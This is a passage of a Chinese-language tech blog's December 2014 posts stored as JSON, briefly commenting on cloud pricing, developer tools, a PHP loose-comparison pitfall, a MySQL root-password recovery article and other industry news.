    "body": "<a href=\"https://github.com/\">GitHub</a> 以往要每個 repository 都設一次 webhook，現在總算有 organization webhooks 可以以 organization 為單位設定：「<a href=\"https://github.com/blog/1933-introducing-organization-webhooks\">Introducing organization webhooks</a>」。\r\n\r\n<img src=\"//i.imgur.com/VgdVAew.png\" alt=\"\" />\r\n\r\n對應的 API 文件在「<a href=\"https://developer.github.com/webhooks/\">Webhooks</a>」這邊已經更新，可以看到有些是 organization only 的。",
    "title": "GitHub 的 Organization Webhooks"
  },
  {
    "id": "5408",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 在「<a href=\"https://aws.amazon.com/blogs/aws/aws-data-transfer-price-reduction/\">AWS Data Transfer Price Reduction</a>」這邊宣佈降價，回朔至 2014 年 12 月 1 日開始計算。\r\n\r\n分成一般 Outbound 與 <a href=\"https://aws.amazon.com/cloudfront/\">CloudFront</a> Outbound 部份。\r\n\r\n一般 Outbound 的部份，US/EU 主要降價的部份是一開始的流量 (10TB 以下的部份)，亞洲區的部份主要是新加坡降價特別多，大概是把量養出來了？\r\n\r\nCloudFront Outbound 的部份主要也是在 10TB 以下的部份。\r\n\r\n另外一個比較特別的地方 (但也許沒有太大差異)，是 CloudFront 往 origin 抓資料時，如果 origin 在 AWS network 內就不計算費用 (包括了 <a href=\"https://aws.amazon.com/s3/\">S3</a> 與 <a href=\"https://aws.amazon.com/ec2/\">EC2</a>)。\r\n\r\n如果暫時先不考慮 per request 費用，會注意到 US/EU 一般 Outbound 的費用是 USD$0.90/GB，而 CloudFront 是 USD$0.85/GB，量更大的時候會更明顯？\r\n\r\n馬上想到 <a href=\"https://www.netflix.com/\">Netflix</a> 這種單一 request 會有巨大流量的用法會隨著這次計費方式改變而有變化？",
    "title": "AWS 對外頻寬與 CloudFront 頻寬降價"
  },
  {
    "id": "5410",
    "body": "前幾天 <a href=\"https://aws.amazon.com/\">AWS</a> 宣佈 <a href=\"https://aws.amazon.com/ec2/\">EC2</a> 的 <a href=\"https://aws.amazon.com/ec2/purchasing-options/reserved-instances/\">Reserved Instance</a> 改變販賣方式：「<a href=\"https://aws.amazon.com/blogs/aws/simplified-reserved-instances/\">Simplifying the EC2 Reserved Instance Model</a>」。\r\n\r\n本來的賣法是收兩種錢，一個是一次性的費用，另外一個是每個小時的費用。在舊的架構下，有不同種類的一次性費用，對上不同的小時單價。\r\n\r\n新的架構變成收三種錢，一個是一次性的費用，一個是每個月的基本費 (電信資費中，類似於「基本費不可抵通話費」的觀念)，最後是每個小時的費用。\r\n\r\n看 AWS 文章的說明有點難懂，直接去 EC2 的價目表上面看就知道了。\r\n\r\n至於這樣有沒有簡化，我覺得是見仁見智啦... 這次的 RI model 的改變最主要是降低對現金流的要求，付出一點利息就可以把一次性費用打散到十二個月 (或是三十六個月)。\r\n\r\n對於 startup 應該還蠻有吸引力的改變。",
    "title": "新版 EC2 的 Reserved Instance"
  },
  {
    "id": "5417",
    "body": "在「<a href=\"http://brooker.co.za/blog/2014/12/06/random.html\">Make Your Program Slower With Threads</a>」這邊看到的工具：「<a href=\"https://perf.wiki.kernel.org/index.php/Tutorial\">Linux kernel profiling with perf</a>」。\r\n\r\n<a href=\"http://www.ubuntu.com/\">Ubuntu</a> 上的安裝方式是安裝 <a href=\"http://packages.ubuntu.com/linux-tools\">linux-tools</a>，不過我的機器上是安裝 <a href=\"http://packages.ubuntu.com/linux-tools-lts-raring\">linux-tools-lts-raring</a>。\r\n\r\n先從比較簡單的 stat，基本的用法很簡單，後面接指令就可以了：\r\n\r\n<pre>perf stat ls -al</pre>\r\n\r\n這樣會出現基本的執行狀況，像是這樣：\r\n\r\n<pre><small> Performance counter stats for 'ls -al':\r\n\r\n         11.236723 task-clock                #    0.703 CPUs utilized          \r\n               341 context-switches          #    0.030 M/sec                  \r\n                 0 cpu-migrations            #    0.000 K/sec                  \r\n               453 page-faults               #    0.040 M/sec                  \r\n         8,186,524 cycles                    #    0.729 GHz                    \r\n   <not supported> stalled-cycles-frontend \r\n   <not supported> stalled-cycles-backend  \r\n        10,366,309 instructions              #    1.27  insns per cycle        \r\n         2,122,560 branches                  #  188.895 M/sec                  \r\n            36,979 branch-misses             #    1.74% of all branches        \r\n\r\n       0.015977493 seconds time elapsed</small></pre>\r\n\r\n更複雜的用法在 Tutorial 那篇文章裡面有說明。",
    "title": "用 perf 追蹤系統狀態"
  },
  {
    "id": "5421",
    "body": "lag 了一陣子的消息，<a href=\"http://slashdot.org/\">Slashdot</a> 上看到 <a href=\"https://en.wikipedia.org/wiki/Windows_10\">Windows 10</a> 將會支援 <a href=\"https://zh.wikipedia.org/wiki/Matroska\">MKV</a> 與 <a href=\"https://zh.wikipedia.org/wiki/FLAC\">FLAC</a> 格式：「<a href=\"http://news.slashdot.org/story/14/11/27/1347217/windows-10-to-feature-native-support-for-mkv-and-flac\">Windows 10 To Feature Native Support For MKV and FLAC</a>」。\r\n\r\n出自這則 Tweet：\r\n\r\n<blockquote class=\"twitter-tweet\" lang=\"en\"><p>Keen eyed <a href=\"https://twitter.com/hashtag/WindowsInsiders?src=hash\">#WindowsInsiders</a> will notice something cool about this pic. Something to look forward to in the new year! <a href=\"http://t.co/4uQe5LlLmI\">pic.twitter.com/4uQe5LlLmI</a></p>&mdash; Gabriel Aul (@GabeAul) <a href=\"https://twitter.com/GabeAul/status/537376407291056128\">November 25, 2014</a></blockquote>\r\n<script async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n最先支援的還是 FLAC，隔壁的 <a href=\"https://zh.wikipedia.org/wiki/TTA\">TTA</a> 與 <a href=\"https://zh.wikipedia.org/wiki/WavPack\">WavPack</a> 就比較苦命了...",
    "title": "Windows 10 將會支援 MKV 與 FLAC 格式"
  },
  {
    "id": "5423",
    "body": "利用 <a href=\"http://www.wolfram.com/\">Wolfram</a> 的 <a href=\"http://reference.wolfram.com/language/ref/Inpaint.html\">Inpainting</a> 來延伸畫作：「<a href=\"http://blog.wolfram.com/2014/12/01/extending-van-goghs-starry-night-with-inpainting/\">Extending Van Gogh’s Starry Night with Inpainting</a>」。\r\n\r\n《<a href=\"https://zh.wikipedia.org/wiki/%E6%98%9F%E5%A4%9C\">星夜</a>》原作：\r\n\r\n<img src=\"//i.imgur.com/3bR9aAT.png\" alt=\"\" />\r\n\r\n延伸後：\r\n\r\n<img src=\"//i.imgur.com/pMwJZx3.png\" alt=\"\" />\r\n\r\n不同的演算法：\r\n\r\n<img src=\"//i.imgur.com/lZ6Lzlz.png\" alt=\"\" />\r\n\r\n另外有人丟了一堆名畫進去，把原始圖與延伸出來的圖放到 <a href=\"https://imgur.com/\">Imgur</a> 上：「<a href=\"https://imgur.com/a/BfcK4\">Mathematica Inpaint Test</a>」，都還蠻有趣的...",
    "title": "用 Wolfram 的 Inpainting 延伸畫作"
  },
  {
    "id": "5425",
    "body": "這篇文章的標題就說明了作者對 <a href=\"http://valgrind.org/\">Valgrind</a> 只被拿來抓 leak 很不滿：「<a href=\"http://maintainablecode.logdown.com/posts/245425-valgrind-is-not-a-leak-checker\">Valgrind is *NOT* a leak checker</a>」。\r\n\r\n依照文章裡的說法：\r\n\r\n<blockquote>Valgrind is an undefined behavior checking tool first, a function and memory profiler second, a data-race detection tool third, and a leak checking tool last.</blockquote>\r\n\r\n文章裡從最簡單的用法 (什麼參數都不加) 開始解釋，到後面的 leak 檢查以及 profiling，算是還蠻清楚的 XDDD",
    "title": "Valgrind 的其他用途"
  },
  {
    "id": "5429",
    "body": "<a href=\"https://slack.com/\">Slack</a> 推出了即時性更新的 API，讓你寫機器人 (bot) 更方便：「<a href=\"http://slackhq.com/post/104688116560/rtm-api\">A new Slack API: The inevitable rise of the bots</a>」。\r\n\r\n<a href=\"https://github.com/\">GitHub</a> 上的 <a href=\"https://github.com/slackhq/python-rtmbot\">slackhq/python-rtmbot</a> 裡面有範例，另外也有 <a href=\"https://hubot.github.com/\">Hubot</a> 版本的 <a href=\"https://github.com/slackhq/hubot-slack\">slackhq/hubot-slack</a>。\r\n\r\n這樣寫起 bot 應該會更簡單，以往是模擬 client 接上去，現在是有 library 可以用，照著接掛著就 okay 了...",
    "title": "Slack 推出 Real Time Messaging (RTM) API"
  },
  {
    "id": "5431",
    "body": "<a href=\"https://aws.amazon.com/opsworks/\">AWS OpsWorks</a> 算是 <a href=\"https://www.chef.io/\">Chef</a> hosting 加上設計好的管理機制？之前只能用在 <a href=\"https://aws.amazon.com/\">AWS</a> 上，現在則可以使用在非 <a href=\"https://aws.amazon.com/ec2/\">EC2</a> instance 上了：「<a href=\"https://aws.amazon.com/blogs/aws/opsworks-on-prem-and-existing-instances/\">AWS OpsWorks Update - Support for Existing EC2 Instances and On-Premises Servers</a>」。\r\n\r\n<img src=\"//i.imgur.com/nnq6EGU.png\" alt=\"\" />\r\n\r\n在 EC2 上不用額外收費，在 EC2 外要收 USD$0.02/hour：\r\n\r\n<blockquote>OpsWorks costs $0.02 per hour for each on-premises server on which you install the agent, and is available at no additional charge for EC2 instances.</blockquote>\r\n\r\n看不太懂為什麼要支援非 EC2 的服務，扶植 Chef 嗎？",
    "title": "AWS OpsWorks 支援非 EC2 instance 的管理"
  },
  {
    "id": "5434",
    "body": "<a href=\"https://www.facebook.com/\">Facebook</a> 的 engineer 寫了一篇文章，說明他們花了超過兩年的時間找到一個 bug：「<a href=\"https://code.facebook.com/posts/1499322996995183/solving-the-mystery-of-link-imbalance-a-metastable-failure-state-at-scale/\">Solving the Mystery of Link Imbalance: A Metastable Failure State at Scale</a>」。\r\n\r\n整個故事是個通靈的故事...\r\n\r\nFacebook 在底層的架構使用了 <a href=\"https://en.wikipedia.org/wiki/Link_aggregation\">Link Aggregation</a> 的規劃，多條線路 channel bonding 在一起連到骨幹上。但發現有時候會卡在某一條線路壅塞而導致 system failure。\r\n\r\n於是就一路追下去，從 switch 本身開始懷疑，最後去組織跨部門的研究小組跳下去分析 (通靈)。後來才觀察到是因為 connection pool 的機制本身用的演算法在 Facebook 這個複雜的系統架構下造成的慘案...\r\n\r\n當 query burst 發生時，Facebook 的系統會同時到 50～100 組資料庫撈資料出來寫入 cache，而 connection pool 的機制用的是 MRU (Most Recently Used)，從 congestion link 回來的 connection 會在 pool 裡面的最上方，於是就愈來愈塞...\r\n\r\n知道問題後，解決的方法就簡單多了。只是把 connection 選擇演算法從 MRU 換成 LRU 後就解決了，但中間用了超過兩年的時間，以及至少 30 個人的努力才把問題找出來並且解決。\r\n\r\n可以看到最後銘謝的對象一卡車：\r\n\r\n<blockquote>Thanks to all of the engineers who helped us manage and then fix this bug, including James Paussa, Ernesto Ovcharenko, Mark Drayton, Peter Hoose, Ankur Agrawal, Alexey Andreyev, Billy Choe, Brendan Cleary, JJ Crawford, Rodrigo Curado, Tim Eberhard, Kevin Federation, Hans Fugal, Mayuresh Gaitonde, CJ Infantino, Mark Marchukov, Chinmay Mehta, Murat Mugan, Austin Myzk, Gaya Nagarajan, Dmitri Petrov, Marco Rizzi, Rafael Rodriguez, Steve Shaw, Adam Simpkins, David Swafford, Wendy Tobagus, Thomas Tobin, TJ Trask, Diego Veca, Kaushik Veeraraghavan, Callahan Warlick, Jason Wilbanks, Jimmy Williams, and Keith Wright.</blockquote>\r\n\r\n最後附上 Facebook 解釋的圖：\r\n\r\n<img src=\"//i.imgur.com/8Cgs999.png\" alt=\"\" />",
    "title": "Facebook 因為 Connection Pool 選擇機制，加上系統的複雜性而導致的慘案..."
  },
  {
    "id": "5439",
    "body": "<a href=\"http://www.percona.com/\">Percona</a> 寫了一篇「<a href=\"http://www.percona.com/blog/2014/12/10/recover-mysql-root-password-without-restarting-mysql-no-downtime/\">Recover MySQL root password without restarting MySQL (no downtime!)</a>」，利用 MyISAM 的特性直接惡搞重設 root password。\r\n\r\n幾個重點：\r\n<ul>\r\n\t<li>MyISAM 的檔案可以獨立 copy，而且因為 user table 應該很少被改到，硬碟裡的檔案應該是 not corrupted 的狀態。</li>\r\n\t<li>由於無法下 FLUSH TABLE 的指令，蓋過去後得用 SIGHUP 讓 <a href=\"http://dev.mysql.com/\">MySQL</a> 重讀。</li>\r\n</ul>",
    "title": "不停機重設 MySQL 的 root 密碼"
  },
  {
    "id": "5441",
    "body": "路透社丟出來的新聞：「<a href=\"http://www.reuters.com/article/2014/12/12/us-russia-internet-google-idUSKBN0JQ03E20141212\">Google to close engineering office in Russia: WSJ</a>」。\r\n\r\n新通過的法案要求俄羅斯人的資料必須存放在俄羅斯境內，這個法案被懷疑是 <a href=\"https://www.google.com/\">Google</a> 打算直接關閉俄羅斯的 Engineering Office 的原因：\r\n\r\n<blockquote>In July, Russia's parliament passed a law to force Internet sites that store the personal data of Russian citizens to do so inside the country, a move the Kremlin says is for data protection but which critics see as an attack on social networks.</blockquote>\r\n\r\n來看看後續發展...",
    "title": "Google 計畫關閉在俄羅斯的 Engineering Office"
  },
  {
    "id": "5445",
    "body": "<a href=\"http://venturebeat.com/\">VentureBeat</a> 的這篇「<a href=\"http://venturebeat.com/2014/12/12/how-minecraft-may-make-bitcoin-the-official-currency-of-virtual-worlds/\">How Minecraft may make bitcoin the ‘official currency of virtual worlds’</a>」讓人想了一下遊戲的虛擬貨幣與 <a href=\"https://bitcoin.org/\">Bitcoin</a> 的結合...\r\n\r\n與以往的不一樣的情況：\r\n<ul>\r\n\t<li>不需要找金流系統接，Bitcoin 可以直接獨立運作，馬上可以想到不少方法利用 Bitcoin 的架構來規劃虛擬貨幣。</li>\r\n\t<li>法令更不容易管制，如果遊戲本身再透過 <a href=\"https://www.torproject.org/\">Tor</a> 隱藏在 Tor network 裡的話就更完整。以往在最後要換錢的部份都還會經過金流系統與實體界接，現在連這個部分都避開了。</li>\r\n</ul>\r\n\r\n再來是 Bitcoin 的中立性，跨遊戲之間的交易也許是另外一個可能的強大之處？\r\n\r\n不過 Bitcoin 的 n=6 確認應該會讓人感覺到愈來愈痛，不知道後面會怎麼解決...",
    "title": "Minecraft 與 Bitcoin 的結合？"
  },
  {
    "id": "5447",
    "body": "在「<a href=\"http://technodrone.blogspot.com/2014/12/vcenter-is-still-single-point-of-failure.html\">vCenter is Still a Single Point of Failure</a>」這篇文章裡面討論了 <a href=\"http://www.vmware.com/products/vcenter-server\">VMware vCenter</a> 的 HA (High Availability) 問題。可以包括 comment 一起看，看到文章裡火氣還蠻大的...\r\n\r\n文章後面有提到 VMware vCenter 並沒有辦法提供很高等級的 HA 機制，雖然官方提出來的 downtime 是五分鐘內，不過作者顯然對這點很不同意：\r\n\r\n<blockquote>I can guarantee you that will take a hell of a lot longer than 5 minutes.</blockquote>\r\n\r\n而下面 comment 有人提到至少是 20mins：\r\n\r\n<blockquote>After reboot the first 20min CPU is high and vCenter Services is unable to start. 1000 VMs, 60 hosts. VM has 4 vCPU en 21GB RAM.</blockquote>\r\n\r\n不過這設定看起來像是 60 台 host，每一台 384GB RAM，裡面每個 VM 都有 21GB RAM？這種環境真不錯... 不過如果量這麼大，我大概會自己弄 KVM 起來建環境？\r\n\r\nAnyway，有用過 vCenter 的人看完這篇文章大概都有種「...」不知道要怎麼說的感覺 XD",
    "title": "vCenter 的 HA 機制"
  },
  {
    "id": "5449",
    "body": "看到「<a href=\"http://www.vpsee.com/2014/12/a-side-by-side-highlighted-diff-tool-icdiff/\">一个能并列高亮显示文件比较结果的小工具 icdiff</a>」這篇的介紹，順便複習一下 <a href=\"https://launchpad.net/ubuntu/+ppas\">PPA</a> 要怎麼包。\r\n\r\n不過包歸包，我應該還是不會去用...\r\n\r\n平常在用 diff 都會加上參數啊，像是我習慣用 <code>-ruN</code>，如果再加上顏色的話其實並不會比較難讀？而且現在最常用 diff 的地方是在 <a href=\"http://git-scm.com/\">git</a> 環境下用，會因為 <code>color.ui</code> 的設定自動支援色彩...\r\n\r\n這是 <a href=\"http://www.jefftk.com/icdiff\">icdiff</a> 官方提供的 screenshot：\r\n\r\n<img src=\"//i.imgur.com/MIWnPu1.png\" alt=\"\" />\r\n\r\n就給大家參考看看了 :o",
    "title": "把 icdiff 包成 PPA..."
  },
  {
    "id": "5451",
    "body": "離上次改版也半年了，<a href=\"https://www.vagrantup.com/\">Vagrant</a> 1.7 引入了 Push 機制：「<a href=\"https://www.vagrantup.com/blog/vagrant-push-to-deploy.html\">Vagrant Push: One Command to Deploy Any Application</a>」。\r\n\r\n功能很簡單，就是「把整個目錄傳到指定的位置上」，可以看做是 code deploy 機制。目前支援的通訊協定 <a href=\"https://atlas.hashicorp.com/\">Atlas</a>、FTP/SFTP、<a href=\"https://www.heroku.com/\">Heroku</a> 以及自訂 script。\r\n\r\nVagrant 的這個功能有著 <a href=\"https://en.wikipedia.org/wiki/Unix_philosophy\">Unix philosophy</a> 的想法。功能很簡單，但似乎是以後新功能的墊腳石。code deploy 這個功能現在已經有一堆 open source 產品可以用，如果之後不以此延伸，看起來沒有太大意義。\r\n\r\n當然也是順便幫自家產品 Atlas 打廣告...\r\n\r\n另外是 Vagrant 這個字的念法，也可以在這篇文章裡的影片看到示範：\r\n\r\n<iframe src=\"//player.vimeo.com/video/114328000?byline=0&amp;portrait=0\" width=\"640\" height=\"360\" frameborder=\"0\" webkitallowfullscreen mozallowfullscreen allowfullscreen></iframe>",
    "title": "Vagrant 1.7 引入的 Push 機制"
  },
  {
    "id": "5454",
    "body": "參考「<a href=\"https://wiki.gslin.org/wiki/Live\">https://wiki.gslin.org/wiki/Live</a>」。",
    "title": "Live 記錄"
  },
  {
    "id": "5460",
    "body": "這篇「<a href=\"http://blog.keithcirkel.co.uk/how-to-use-npm-as-a-build-tool/\">How to Use npm as a Build Tool</a>」教你如何用 <code>package.json</code> 的 <code>scripts</code> 取代 <a href=\"http://gulpjs.com/\">gulp</a> 或是 <a href=\"http://gruntjs.com/\">grunt</a> 這類 Build Tools。\r\n\r\n文章裡面可以看到各種奇技淫巧都出現了，dependency 的部份用 recursive 解決 (npm 內部自己再呼叫 npm 執行)，stream 的部份用 pipe 解決 (這個到是很自然)，然後用外部程式掛進來處理 watch 與 livereload，甚至還出現可以自己寫 js 檔案呼叫的方法... XDDD\r\n\r\n無所不用其極！反正我就是不要用 gulp 與 grunt... XD\r\n\r\n可以欣賞一下怎麼做的...",
    "title": "用 npm 取代 Build Tools (像是 gulp 或 grunt)"
  },
  {
    "id": "5464",
    "body": "在 <a href=\"https://twitter.com/\">Twitter</a> 上看到這樣的說明：\r\n\r\n<blockquote class=\"twitter-tweet\" lang=\"en\"><p>$ cat p.php&#10;&lt;?php var_dump(md5(&#39;240610708&#39;) == md5(&#39;QNKCDZO&#39;)); ?&gt;&#10;$ php p.php&#10;bool(true)&#10;Please start using &quot;===&quot;, thx. <a href=\"https://twitter.com/tkh16\">@tkh16</a></p>&mdash; Joshua Wright (@joswr1ght) <a href=\"https://twitter.com/joswr1ght/status/544548300033363971\">December 15, 2014</a></blockquote>\r\n<script async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n原因出自：\r\n\r\n<pre>php &gt; var_dump(md5('240610708'));\r\nstring(32) \"0e462097431906509019562988736854\"\r\nphp &gt; var_dump(md5('QNKCDZO'));\r\nstring(32) \"0e830400451993494058024219903391\"</pre>\r\n\r\n施主，這 hex 與科學表示法好雷啊...",
    "title": "PHP == 的災難..."
  },
  {
    "id": "5466",
    "body": "總算有大頭把這個不安全的「安全問題」移除掉了：「<a href=\"http://googlesystem.blogspot.com/2014/12/google-drops-support-for-security.html\">Google Drops Support for Security Questions</a>」。\r\n\r\n<img src=\"//i.imgur.com/HkNIOHb.png\" alt=\"\" />\r\n\r\n引用自原文說明：\r\n\r\n<blockquote>Security questions weren't a great way to protect an account since many answers could be guessed or found using a Google search.</blockquote>\r\n\r\n目前提供的機制是手機號碼，以及透過其他的 e-mail address 認證。",
    "title": "Google 移除「安全問題」..."
  },
  {
    "id": "5468",
    "body": "在「<a href=\"http://threatpost.com/google-proposes-marking-http-as-insecure-in-2015/109875\">Google Proposes Marking ‘HTTP’ as Insecure in 2015</a>」這邊看到 Google 提議將 Chrome 對 HTTP 連線標示成「不安全」：「<a href=\"https://www.chromium.org/Home/chromium-security/marking-http-as-non-secure\">Marking HTTP As Non-Secure</a>」。\r\n\r\n其中一個提案是設定三個時間 (T1、T2、T3)，逐步改變對 HTTP 的標示：\r\n\r\n<blockquote>T0 (now): Non-secure origins unmarked\r\nT1: Non-secure origins marked as Dubious\r\nT2: Non-secure origins marked as Non-secure\r\nT3: Secure origins unmarked</blockquote>\r\n\r\n不過這是好提案嗎？CA 機制並不完美，這樣硬推是對的方向嗎？",
    "title": "Google 提議將 Chrome 對 HTTP 的連線標示成「不安全」icon"
  },
  {
    "id": "5471",
    "body": "在 <a href=\"http://www.osnews.com/\">OSNews</a> 上看到「<a href=\"http://www.osnews.com/story/28129/Announcing_Ubuntu_Core_with_snappy_transactional_updates\">Announcing Ubuntu Core, with snappy transactional updates</a>」，原文出自 <a href=\"http://www.ubuntu.com/\">Ubuntu</a> 老大 <a href=\"http://www.markshuttleworth.com/\">Mark Shuttleworth</a> 的文章「<a href=\"http://www.markshuttleworth.com/archives/1434\">Announcing Ubuntu Core, with snappy transactional updates!</a>」。\r\n\r\n依照官方說明：\r\n\r\n<blockquote>Ubuntu Core is a minimal server image with the same libraries as today’s Ubuntu, but applications are provided through a simpler mechanism.</blockquote>\r\n\r\n希望提供比較穩定的套件環境，並且讓 app 之間不受干擾執行。系統裡分成 release、framework、app 三種角色，release 就是 Ubuntu Core，而 framework 可以是 <a href=\"https://www.docker.com/\">Docker</a>，最後的 app 就是自己的應用程式，而 snappy 就是管理這三個的軟體。\r\n\r\n<a href=\"https://ubuntu.com/snappy\">Snappy Ubuntu Core</a> 是個 readonly image (裡面大多數的地方都不能寫，只有部份目錄以及用 tmpfs 掛起來的部份可以寫入)。\r\n\r\n除了可以在雲端平台上面測試外，還可以用 <a href=\"http://www.qemu.org/\">QEMU</a> 掛起來跑，不過實際測試的時候發現 precise (12.04) 的 QEMU 因為是 1.0 版所以不能跑，要 trusty (14.04) 附的版本才夠新 (2.0 版，需要 1.1+)。\r\n\r\n找到 trusty 的機器跑的時候因為是遠端的機器，要多加上 <code>-nographic -curses</code> 的參數：\r\n\r\n<pre>sudo kvm -m 512 -nographic -curses -redir :8090::80 -redir :8022::22 ubuntu-core-alpha-01.img</pre>\r\n\r\n然後就可以依照官方文件裡提到的方法連進去了：\r\n\r\n<pre>ssh -p 8022 ubuntu@localhost</pre>\r\n\r\n然後就可以照著官方的文件操作一次，我自己沒遇到什麼問題。\r\n\r\n看起來是 Ubuntu 自己在推動的一套標準，不知道市場接受度如何 :p",
    "title": "Ubuntu Core 與 Snappy Transactional Updates"
  },
  {
    "id": "5474",
    "body": "<a href=\"https://pinboard.in/\">Pinboard</a> 改變計費方式，從原本的一次性費用改成年費：「<a href=\"https://blog.pinboard.in/2014/11/new_pricing_policy/\">New Pricing Policy</a>」。\r\n\r\n舊的機制是這樣，有一次性的付費模式，也有年費模式的帳號 (archiving account)：\r\n\r\n<blockquote>Right now, users pay a one-time signup fee that grows by a fraction of a penny with each new signup. At the moment, this fee is $10.55. Pinboard also offers archiving accounts, which cost $25/year. Users who upgrade after joining Pinboard can deduct the signup fee from the first year of archiving.</blockquote>\r\n\r\n新的機制將全部變成年費：\r\n\r\n<blockquote>Under the new scheme, basic Pinboard accounts will cost $11/year, while archiving will continue to cost $25/year.</blockquote>\r\n\r\n作者的原因是「懶的解釋」，有很多人從一次性的帳號升級到 archiving account 時以為仍然是一次性的，等過了一年後被收費就跑去問...\r\n\r\n現有的一次性用戶，以及到年底前付費的用戶不受影響：\r\n\r\n<blockquote>If you already have a Pinboard account, or sign up for one before January 1, 2015, this change will not affect you. </blockquote>",
    "title": "Pinboard 改變計費方式"
  },
  {
    "id": "5476",
    "body": "<a href=\"https://news.google.com/\">Google News</a> 大頭 <a href=\"https://en.wikipedia.org/wiki/Richard_Gingras\">Richard Gingras</a> 的宣佈，由於西班牙通過的新法令要求引用的單位要付費，所以 Google News 決定直接關閉西班牙服務：「<a href=\"http://googlepolicyeurope.blogspot.com/2014/12/an-update-on-google-news-in-spain.html\">An update on Google News in Spain</a>」。\r\n\r\n<blockquote>This new legislation requires every Spanish publication to charge services like Google News for showing even the smallest snippet from their publications, whether they want to or not.</blockquote>\r\n\r\n咦，隔壁棚不是才剛上演過類似的事情嗎：「<a href=\"http://www.theverge.com/2014/11/5/7160587/german-publisher-axel-springer-google-news\">German publisher caves to Google News after massive traffic drop</a>」。",
    "title": "西班牙的 Google News 將全面停止服務"
  },
  {
    "id": "5478",
    "body": "<a href=\"https://twitter.com/\">Twitter</a> 上看到 <a href=\"https://twitter.com/zmx\">zmx</a> 提到 <a href=\"https://chrome.google.com/webstore/detail/%C2%B5block/cjpalhdlnbpafiamejdnhcphjbkeiagm\">µBlock</a>：\r\n\r\n<blockquote class=\"twitter-tweet\" lang=\"en\"><p><a href=\"https://t.co/S1n2aME0Be\">https://t.co/S1n2aME0Be</a> µBlock，HTTP Switchboard 作者新的 Blocker 作品，與 µMatrix 都是 HTTPSB 的後代。&#10;速度比 ABP 快，記憶體比 ABP 省。</p>&mdash; Bill Zhong (@zmx) <a href=\"https://twitter.com/zmx/status/545168171024384000\">December 17, 2014</a></blockquote>\r\n<script async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n依照「<a href=\"https://github.com/gorhill/uBlock/wiki/%C2%B5Block-vs.-ABP:-efficiency-compared\">µBlock vs. ABP: efficiency compared</a>」這邊的說明，可以看到效能以及記憶體用量都比 <a href=\"https://adblockplus.org/\">AdBlock Plus</a> 好上不少。\r\n\r\n先換上去測用看看...",
    "title": "試用 µBlock 取代 AdBlock Plus"
  },
  {
    "id": "5481",
    "body": "剛剛看到的，<a href=\"https://aws.amazon.com/cloudfront/\">Amazon CloudFront</a> 允許 Origin Name 帶有 path 了：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2014/12/16/amazon-cloudfront-now-allows-directory-path-as-origin-name/\">Amazon CloudFront Now Allows Directory Path as Origin Name</a>」。\r\n\r\n<blockquote>For example, if you're using an Amazon S3 bucket as your origin, you can specify bucket-name.s3.amazonaws.com/production instead of just bucket-name.s3.amazonaws.com. Alternatively, if you have a custom web server with different content in different directories on the server, you can use the same physical server to serve multiple types of content via multiple CloudFront cache behaviors or distributions.</blockquote>\r\n\r\n變得更方便，以往是直接開兩個不同的 bucket 放。",
    "title": "Amazon CloudFront 允許帶有路徑的 Origin Name 了"
  },
  {
    "id": "5483",
    "body": "意外在 <a href=\"http://blog.hsatac.net/\">Ash Wu</a> 牆上看到的「<a href=\"https://www.facebook.com/photo.php?fbid=10205347048097103\">入侵 gandi 台北辦公室</a>」：\r\n\r\n<img src=\"//i.imgur.com/Gkn1evY.jpg\" alt=\"\" />\r\n\r\n另外在 comment 也提到了「<a href=\"https://www.facebook.com/gandiasia\">Gandi Asia Co. Ltd</a>」這頁。不知道什麼時候可以提供三聯式發票報帳...",
    "title": "Gandi.net 台灣辦公室"
  },
  {
    "id": "5485",
    "body": "看到 <a href=\"http://jquery.com/\">jQuery</a> 官方放出一個特別更新，專門為了 iOS 8 + Safari 7.1/8 的修正：「<a href=\"http://blog.jquery.com/2014/12/18/jquery-1-11-2-and-2-1-3-released-safari-fail-safe-edition/\">jQuery 1.11.2 and 2.1.3 Released – Safari Fail-Safe Edition</a>」。\r\n\r\n依據「<a href=\"https://github.com/jquery/sizzle/issues/290\">Test failure on iOS 8: child and adjacent -&gt; p#firstp + p</a>」的說明，死在 <code>document.querySelectorAll(\"p#firstp + p\")</code> 這邊，另外以下的 selector 也都掛掉：\r\n\r\n<pre>p#a + p\r\np#a ~ p\r\n.b#a ~ [id]\r\n[style]#a ~ p</pre>\r\n\r\n由於這個用法太基本，讓 jQuery 官方決定在 library 放 workaround 修正這個問題...",
    "title": "jQuery 1.11.2 與 2.1.3 修正 iOS 8 上 Safari 7.1/8 的嚴重 bug"
  },
  {
    "id": "5487",
    "body": "在 <a href=\"http://www.osnews.com/\">OSNews</a> 上看到 <a href=\"https://www.gnu.org/licenses/gpl-2.0.html\">GNU GPLv2</a> 在美國的判例：「<a href=\"http://www.osnews.com/story/28149/The_GNU_GPL_to_be_tested_in_court\">The GNU GPL to be tested in court</a>」。\r\n\r\n引用的報導在「<a href=\"https://opensource.com/law/14/12/gplv2-court-decisions-versata\">GPLv2 goes to court: More decisions from the Versata tarpit</a>」這篇，裡面有幾個角色：\r\n\r\n<ul>\r\n\t<li><a href=\"http://www.ximpleware.com/\">Ximpleware</a>：撰寫了一套 XML parser，同時以 GPLv2 與商用版權釋出。</li>\r\n\t<li><a href=\"http://www.versata.com/\">Versata</a>：在自家產品 DCM software 使用了 Ximpleware 的 XML parser，依照後面的訴訟，看起來是沒有付錢買商用版本。而 DCM software 裡面沒有引用 GPLv2 條款，同時也當然沒有公開程式碼。</li>\r\n\t<li><a href=\"https://www.ameriprise.com/\">Ameriprise</a>：付錢給 Versata 購買 DCM software 使用權的公司，另外取得 Versata 的授權，可以找外包商修改 Versata 的 DCM software。</li>\r\n\t<li><a href=\"http://www.infosys.com/\">Infosys</a>：Ameriprise 的外包商。</li>\r\n</ul>\r\n\r\n起因在於 Versata 不爽 Infosys 拿他們的軟體開發同性質的軟體，結果告下去後這件事情牽扯到 GPLv2 的授權問題。\r\n\r\n然後 Ximpleware 也跳出來告了所有人，還因為專利關係，告了 Versata 的其他客戶。\r\n\r\n問題分成兩塊討論，一塊是 copyright，另外一塊是 patent。看了一下文章的說明，案子似乎還沒結束，但已經有些結論出來了。\r\n\r\n在 copyright 的部份，法院要求明年二月底前必須上 patch 修正問題。也就是 GPLv2 